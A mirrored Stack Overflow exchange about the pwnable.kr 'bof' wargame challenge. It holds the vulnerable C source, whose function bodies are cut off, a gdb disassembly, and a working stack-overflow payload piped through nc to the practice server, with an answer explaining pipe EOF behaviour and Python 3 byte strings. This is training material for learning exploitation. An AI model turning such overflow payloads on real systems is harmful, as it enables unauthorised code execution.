Why use cat to open interactive shell?


(Asking again without the download link)

Problem Description

Nana told me that buffer overflow is one of the most common software vulnerability. Is that true?


#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
int main(int argc, char* argv[]){
        return 0;


(gdb) disassemble main
Dump of assembler code for function main:
   0x0000068a <+0>: push   %ebp
   0x0000068b <+1>: mov    %esp,%ebp
   0x0000068d <+3>: and    $0xfffffff0,%esp
   0x00000690 <+6>: sub    $0x10,%esp
   0x00000693 <+9>: movl   $0xdeadbeef,(%esp)
   0x0000069a <+16>:    call   0x62c <func>
   0x0000069f <+21>:    mov    $0x0,%eax
   0x000006a4 <+26>:    leave  
   0x000006a5 <+27>:    ret    
End of assembler dump.
(gdb) disassemble func
Dump of assembler code for function func:
   0x0000062c <+0>: push   %ebp
   0x0000062d <+1>: mov    %esp,%ebp
   0x0000062f <+3>: sub    $0x48,%esp
   0x00000632 <+6>: mov    %gs:0x14,%eax
   0x00000638 <+12>:    mov    %eax,-0xc(%ebp)
   0x0000063b <+15>:    xor    %eax,%eax
   0x0000063d <+17>:    movl   $0x78c,(%esp)
   0x00000644 <+24>:    call   0x645 <func+25>
   0x00000649 <+29>:    lea    -0x2c(%ebp),%eax
   0x0000064c <+32>:    mov    %eax,(%esp)
   0x0000064f <+35>:    call   0x650 <func+36>
   0x00000654 <+40>:    cmpl   $0xcafebabe,0x8(%ebp)
   0x0000065b <+47>:    jne    0x66b <func+63>
   0x0000065d <+49>:    movl   $0x79b,(%esp)
   0x00000664 <+56>:    call   0x665 <func+57>
   0x00000669 <+61>:    jmp    0x677 <func+75>
   0x0000066b <+63>:    movl   $0x7a3,(%esp)
   0x00000672 <+70>:    call   0x673 <func+71>
   0x00000677 <+75>:    mov    -0xc(%ebp),%eax
   0x0000067a <+78>:    xor    %gs:0x14,%eax
   0x00000681 <+85>:    je     0x688 <func+92>
   0x00000683 <+87>:    call   0x684 <func+88>
   0x00000688 <+92>:    leave  
   0x00000689 <+93>:    ret    
End of assembler dump.



I understand that we have to supply 52 trash characters and cafebabe to overflow the buffer. But when I only pass that as an input, I don't get an interactive shell. It's only when I pass in cat command as well. Why is cat necessary??


I forgot to mention that this is running on the server and I connect to it using nc pwnable.kr 9000. I pass in the input as python -c 'print("A"*52 + "\xbe\xba\xfe\xca")' | nc pwnable.kr 9000. The correct answer is said to be (python -c 'print("A"*52 + "\xbe\xba\xfe\xca")'; cat) | nc pwnable.kr 9000

asked on Stack Overflow Oct 27, 2020 by luke.lcim • edited Oct 28, 2020 by Peter Cordes

1 Answer


The first thing to understand here is the concept of pipes. When you run the command

python -c 'print("A"*52 + "\xbe\xba\xfe\xca")' | nc pwnable.kr 9000

The shell creates a pipe, and starts two processes: python and nc. Python's output gets connected (redirected) to the pipe input, and the pipe output is connected to the netcat. The shell does not keep a reference to the pipe. The output of nc is still connected to the terminal, as is the input of python. When python terminates after printing the data, the kernel closes its file descriptors, and the pipe, having had its input closed, will report EOF to the reader right after all the buffered data remaining in the pipe. The other thing that the pipe could do, would be to hang indefinitely, but this would be pointless.

Imagine the following pipeline:

echo 123 | tail

because of the well-defined semantics, it must behave exactly the same way as yours. Whenever the input to tail ends, it will not read anything from the terminal.

The second problem is that if you have python pointing to a Python 3 installation (most likely for at least a couple years now) you use unicode strings instead of byte strings. The issue is described in depth in the official pwntools tutorial: https://github.com/Gallopsled/pwntools-tutorial/blob/master/bytes.md

So you should do

python -c 'import sys; sys.stdout.write(b"A"*52 + b"\xbe\xba\xfe\xca")' | nc pwnable.kr 9000

and that's because in python 3 your code would mean

python -c 'print("A"*52 + "\u00be\u00ba\u00fe\u00ca")' | nc pwnable.kr 9000

Which would produce just some irrelevant Unicode characters printed in UTF-8.

answered on Stack Overflow Apr 20, 2021 by Arusekk

User contributions licensed under CC BY-SA 3.0